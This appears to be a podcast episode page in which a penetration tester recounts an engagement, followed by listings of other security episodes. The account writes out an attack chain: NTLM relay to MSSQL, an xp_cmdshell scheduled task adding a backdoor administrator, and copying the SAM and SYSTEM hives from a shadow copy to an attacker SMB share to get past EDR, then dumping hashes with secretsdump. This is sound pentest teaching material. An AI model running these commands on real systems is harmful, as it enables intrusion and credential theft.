7MS #692: Tales of Pentest Pwnage – Part 76

7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else:

I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.

I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".

Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy.

In the end, the bizarre combo of things that did the trick was:

  • Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!'
  • From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\
  • From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL!
  • Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed!
  • I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!!
  • Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

Avsnitt(720)

7MS #487: Light Pentest eBook Announcement!

7MS #487: Light Pentest eBook Announcement!

Hey friends! Today I've got some exciting personal/professional news to share: our Light Pentest eBook - which is a practical, step-by-step playbook for internal network penetration testing - is now a...

28 Sep 20217min

7MS #486: Interview with Matt Quammen of Blue Team Alpha

7MS #486: Interview with Matt Quammen of Blue Team Alpha

Today our good buddy Joe Skeen and I virtually sit down with Matt Quammen of Blue Team Alpha to talk about all things incident response! Topics covered include: Top 5 things to do and not do during r...

22 Sep 202139min

7MS #485: Interview with Christopher Fielder

7MS #485: Interview with Christopher Fielder

Today our friend Christopher Fielder from Arctic Wolf is back for an interview four-peat! We had a great chat about making sense of vendor alphabet soup terms (like SIEM, SOC, EDR/MDR/XDR, ML, AI and ...

15 Sep 202152min

7MS #484: Desperately Seeking a Super SIEM for SMBs - Part 3

7MS #484: Desperately Seeking a Super SIEM for SMBs - Part 3

Today we're continuing our series called Desperately Seeking a Super SIEM for SMBs - this time with a focus on a new contender in our bake-off: Perch Security! It might help you to go back and take in...

8 Sep 202146min

7MS #483: Desperately Seeking a Super SIEM for SMBs - Part 2

7MS #483: Desperately Seeking a Super SIEM for SMBs - Part 2

Today we continue our series we started recently (part 1 is here about finding a super SIEM for SMBs. Specifically I have some updates on (and frustrations with) Arctic Wolf, Elastic, Milton Security ...

1 Sep 202144min

7MS #482: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 3

7MS #482: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 3

Today we're continuing our discussion on phishing campaigns - including a technical "gotcha" that might redirect your phishing emails into a digital black hole if you're not careful! As I mentioned la...

26 Aug 202113min

7MS #481: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 2

7MS #481: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 2

Today we're revisiting how to make a kick-butt cred-capturing phishing campaign with Gophish, Amazon Lightsail, LetsEncrypt, ExpiredDomains.net and a special little extra something that makes creating...

19 Aug 202127min

7MS #480: Desperately Seeking a Super SIEM for SMBs

7MS #480: Desperately Seeking a Super SIEM for SMBs

Today we're talking about the SIEM bake-off for SMBs that we've recently embarked on. We're currently evaluating several solutions - either for customer-facing purposes, internal kick-the-tires fun, o...

12 Aug 202149min

Populärt inom Politik & nyheter

aftonbladet-krim
rss-krimstad
p3-krim
svenska-fall
spar
aftonbladet-daily
politiken
flashback-forever
rss-sanning-konsekvens
rss-expressen-dok
rss-krimreportrarna
motiv
rss-vad-fan-hande
kungligt
ett-rent-noje
blenda-2
grans
rss-frandfors-horna
rss-flodet
svd-ledarredaktionen